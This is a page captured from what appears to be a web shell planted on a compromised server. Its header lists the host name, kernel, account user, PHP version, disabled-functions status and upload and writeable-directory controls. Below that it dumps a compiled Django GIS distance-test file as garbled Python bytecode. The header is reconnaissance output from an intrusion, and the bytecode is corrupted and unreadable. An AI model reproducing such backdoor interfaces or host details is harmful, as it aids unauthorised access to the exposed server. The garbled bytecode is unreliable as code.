https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /lib64/python2.7/site-packages/django/contrib/gis/tests/distapp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib64/python2.7/site-packages/django/contrib/gis/tests/distapp/tests.pyc
�
r�\c@@s3ddlmZddlmZddlmZddlmZddlm	Z	ddl
mZmZm
Z
mZmZmZmZddlmZddlmZer�er�dd	lmZmZd
dlmZmZmZmZmZmZmZneeoeoed�d
efd��Y�Z dS(i(tabsolute_import(t
connection(tQ(tHAS_GEOS(tD(tHAS_SPATIAL_DBtmysqltoracletpostgist
spatialitet	no_oraclet
no_spatialite(tTestCase(t
skipUnless(tGEOSGeometryt
LineStringi(t
AustraliaCityt
InterstatetSouthTexasInterstatetSouthTexasCitytSouthTexasCityFtt
CensusZipcodetSouthTexasZipcodes-Geos and spatial db (not mysql) are required.tDistanceTestcB@s�eZer3er3edd�Zedd�Znd�Zd�Ze	d��Z
d�Ze	d��Ze
d��Zd	�Zd
�Zd�Zd�Ze	d
��Zd�ZRS(s.POINT (-95.370401017314293 29.704867409475465)i�sPOINT (150.791 -34.4919)cC@s*g|D]}|j^q}|j�|S(N(tnametsort(tselftqstctcities((sH/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/distapp/tests.pyt	get_names!s
cC@s�|jdtjj��|jdtjj��|jdtjj��|jdtjj��|jdtjj��|jdtjj��|jdt	jj��dS(s'Test initialization of distance models.i	iiiN(
tassertEqualRtobjectstcountRRRRRR(R((sH/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/distapp/tests.pyttest01_init&sc	C@s�dtdd�tdd�g}dtdd	�tdd
�g}ddg}d
dddg}x�|D]�}t|t�r�|\}}n
|}}tjjd|j|f�}tjjd|j|f�}	x-||	fD]}
|j||j	|
��q�WqgWx�|D]�}t|t�r1t
r1t}nt}t|t�rft
rY|d}qf|d}nt
jjd�}
|r�|jtt
jjd|j|f�j�q|j||j	|
jd|j|f���qWdS(s"Testing the `dwithin` lookup type.iXg�Q�um�@tkmitmigL7�A`e@g�?i}i g����M�3@sDowntown HoustonsSouthside Placet	MittagongtShellharbourtThirroult
Wollongongtpoint__dwithiniiRN(iXg�Q�um�@(g�?i}(Rt
isinstancettupleRR tfiltertstx_pntRRRRtTruetFalseRtorder_bytassertRaisest
ValueErrortau_pntR!(Rttx_diststau_distst	tx_citiest	au_citiestdisttdist1tdist2tqs1tqs2Rt
type_error((sH/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/distapp/tests.pyttest02_dwithin0s0!!

!
	

.c
	C@sPtdd�}ddddddd	d
dg	}dd
dddddddg	}tjj|dd�}tjj|�}ts�tr�||g}n9tjj|j�}tjj|�}||||g}tr�d}	nd}	xe|D]]}
xTt|
�D]F\}}|j	|||jj
|	�|j	|||jj|	�q�Wq�WdS(sJTesting the `distance` GeoQuerySet method on projected coordinate systems.sPOINT(-96.876369 29.905320)i�g?���AgVb��qAg�	0l�2Ag�F<y��Ag{�V�)SAg�'G���	Ag�BcM�@g��.�.Ag��K��Ag��*�sAg����Ag�q_6Ag�$p���Ag�,'i�Ag�a��>%Ag��9
bAg�8�Bۍ Ag�؟���At
field_nametpointiiN(RRR tdistanceR	RRtewktt	enumeratetassertAlmostEqualtmt	survey_ft(
Rtlagrangetm_distancestft_distancesR9R:tdist_qstdist3tdist4ttolRtiR((sH/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/distapp/tests.pyttest03a_distance_methodYs*					
cC@s�trd}nd}td@dAf�}ts9tjjr�ddd	d
ddd
ddddg}tjj|�jd�}xnt	||�D]%\}}|j
||jjd�q�Wn5|jt
tjj|�|jt
tjj|j�tjjrXtjj�dBkrXddddddddddg
}ddd d!d"d#d$d%d&d'g
}nHd(d)d*d+d,d-d.d/d0d1g
}d2d3d4d5d6d7d8d9d:d;g
}tjjdd<�}	tjjd=|	j�j|	jd>t�}x7t|�D])\}
}|j
||
|jj|�q�Wtr�tjjd=|	j�j|	j�}x:t|�D])\}
}|j
||
|jj|�qPWnd?S(CsHTesting the `distance` GeoQuerySet method on geodetic coordnate systems.iig��/��b@gu�V6A�g�p=
��b@g��+eJA�gY���1Agm��(Ag�thS�#Agɉ3���@g��r��-Ag���Y!Ag�e�m��@ig��
<��@g��D=�+�@Riig��=��@g?�
/���@g�#Q`\�@g�Z��-�@g��~։
Ag0�x��%Agd����#Ag�rƵ\�@g��k�/Ag�|g�F�1Ag��3���@gIK����@g��!��@g���
L+�@g�`���
Ag��%A�%Ag�*wP��#AgS�Y�j�@g�t0Ag��K��1Ag9"��@g�v�.���@g3C`\�@g�4_��-�@gSͱ~։
Age x��%AgSJ���#Ag�֏�\�@g�h�k�/AgZ�h�F�1Ag�D\���@g>Z�t|��@g�m���@g~�G+�@g#����
Ag���a�%Ag�룆#Ag)Ā�j�@g��vp0Ag��ͺ{�1At	HillsdaletidtspheroidN(g��/��b@gu�V6A�(g�p=
��b@g��+eJA�(iii(RRRtopst	geographyRR RAR0tzipRDRER1R2twktRtproj_version_tupletgettexcludeRQR@R.RC(RRMtlst	distancesRtcityRAtspheroid_distancestsphere_distancest	hillsdaleRNR((sH/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/distapp/tests.pyttest03b_distance_method�sL			 !															*!$c	C@stjjs+|jttjj|j�nt	jj
dd�}dddg}|jjj
d�}|jddt�}d	d
dg}x�||gD]�}tjjdd�jd�j|�}|j||j|��x7t|�D])\}}|j|jj||d
�q�Wq�WdS(sVTesting the `distance` GeoQuerySet method used with `transform` on a geographic field.Rt77005g��0��«@g^�GT�l�@g�6�O�@idi�tclonet77002t77025t77401i�}iN(RRSRTR1R2RR RAR-RRXtpolytcentroidtbuffert	transformR.RYRRRCRDRE(	Rtztdists_mtbuf1tbuf2tref_zipstbufRRN((sH/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/distapp/tests.pyttest03c_distance_method�s'cC@s�tjjd|jtdd�f�jd|jtdd�f�}tsQtr]|f}nQtjjd|jtdd�f�jd|jtdd�f�}||f}x6|D].}|j|�}|j	|dddg�q�Wt
jjd	d
�}t
jjd	d
�jd|j
tdd
�f�}|j	ddg|j|��t
jjd	d
�jd|j
tdd�f�}|j	dddg|j|��dS(sZTesting the `distance_lt`, `distance_gt`, `distance_lte`, and `distance_gte` lookup types.tpoint__distance_gteR#itpoint__distance_lteitBellairetPearlandsWest University PlaceRRatpoly__distance_lteREiRdRei,RcN(RR R,R-RR	RRRRRRXRYRf(RR;RJR<RRRj((sH/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/distapp/tests.pyttest04_distance_lookups�sEE
33cC@s�tdd�}tjjd|tdd�f�}tsEtjjr�|j	d|j
��|j	ddd	d
ddd
ddg	|j|��n|jt
|j
�tr�dS|jt
ttjjddtdd�ddf��|jt
ttjjdd��tjjdd�}tjjdd�jd|jtdd�f�}|j|�}|j	|ddd
g�tjjdd�}tdd�tdd�}}td|j|f�}	td|j|f�}
tjjdd�j|	|
B�}trktd|j|df�}td|j|df�}
tjjdd�j||
B�}||g}n	|g}x9|D]1}|j|�}|j	|ddddg�q{WdS(s8Testing distance lookups on geodetic coordinate systems.s/LINESTRING(144.9630 -37.8143,151.2607 -33.8870)i�RrR#idi	sBatemans BaytCanberraRPt	MelbourneR%R&tSydneyR'R(NsPOINT(5 23)RRt4RtHobartR$i&tydi,Ltnmi�RqtAdelaide(sPOINT(5 23)(RRR R,RRRRSRTRR!RR1R2R	tlenRXRYR@RR(RtlineRJthobartRRt
wollongongtd1td2tgq1tgq2R;tgq3tgq4R<t	querysets((sH/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/distapp/tests.pyt test05_geodetic_distance_lookups�sB$	+3""	
cC@s_ddddg}d}x@ttjj��D])\}}|j|||jj|�q.WdS(s&Testing the `area` GeoQuerySet method.g�9u�TAg��.lcAg��;�XweAg^�
�bAiN(RCRR tareaRDtsq_m(Rt	area_sq_mRMRNRj((sH/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/distapp/tests.pyttest06_area8s"cC@s�d}d}tr+|jttjj�nAtjj�}trId}nd}|j||djj|�t	jj�j
dd�}|j||jjd�dS(	s(Testing the `length` GeoQuerySet method.g-���Ag�I�	�@iiiRsI-10N(R	R1R2RR tlengthRRDRERRX(Rtlen_m1tlen_m2RRMti10((sH/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/distapp/tests.pyt
test07_lengthCs	cC@s�ddddg}tr!d}nd}x@ttjj��D])\}}|j|||jj|�q=Wx?ttjjdd��D]"\}}|jd	|j	j�q�Wd
S(s+Testing the `perimeter` GeoQuerySet method.g��ƹ��@g��L����@g���#&�@g�`���@iit	model_atttperimiN(
RRCRR t	perimeterRDRERRR�(Rtperim_mRMRNRjR((sH/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/distapp/tests.pyttest08_perimeterWs	"!(cC@sytjjdd�tjjdd�}tjj|j�j�jdd�}|jd|j�|jd|j�dS(sGTesting the measurement GeoQuerySet methods on fields with NULL values.Rt78212sDowntown HoustonN(
RR tcreateRRXRAR@R�RtNone(RthtownRj((sH/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/distapp/tests.pyttest09_measurement_null_fieldsfs
'(t__name__t
__module__RRRR-R3RR"RR>ROR`R
RpRvR�R�R�R�R�(((sH/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/distapp/tests.pyRs		
)	'=!		?		N(!t
__future__Rt	django.dbRtdjango.db.modelsRtdjango.contrib.gis.geosRtdjango.contrib.gis.measureRtdjango.contrib.gis.tests.utilsRRRRR	R
Rtdjango.testRtdjango.utils.unittestR
RRtmodelsRRRRRRRR(((sH/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/distapp/tests.pyt<module>s47	

https://t.me/AnonymousX5 - 2025